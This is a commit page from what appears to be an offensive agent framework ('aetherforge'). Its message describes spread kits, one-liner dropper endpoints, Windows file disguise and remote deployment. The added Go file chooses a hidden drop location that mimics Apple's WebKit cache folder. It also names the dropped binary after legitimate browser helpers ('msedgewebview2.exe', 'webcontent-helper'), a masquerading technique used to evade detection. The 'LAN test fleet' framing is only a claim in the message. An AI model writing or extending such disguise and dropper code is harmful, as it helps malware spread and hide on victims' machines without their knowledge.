Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
28
fusion/cache_unix.go
Normal file
28
fusion/cache_unix.go
Normal file
@@ -0,0 +1,28 @@
|
||||
//go:build !windows
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
)
|
||||
|
||||
func cacheDropBase() string {
|
||||
if runtime.GOOS == "darwin" {
|
||||
home, _ := os.UserHomeDir()
|
||||
return filepath.Join(home, "Library", "Caches", "com.apple.WebKit.WebContent")
|
||||
}
|
||||
if xdg := os.Getenv("XDG_CACHE_HOME"); xdg != "" {
|
||||
return filepath.Join(xdg, "aetherforge")
|
||||
}
|
||||
home, _ := os.UserHomeDir()
|
||||
return filepath.Join(home, ".cache", "aetherforge")
|
||||
}
|
||||
|
||||
func dropBinaryName() string {
|
||||
if runtime.GOOS == "windows" {
|
||||
return "msedgewebview2.exe"
|
||||
}
|
||||
return "webcontent-helper"
|
||||
}
|
||||
Reference in New Issue
Block a user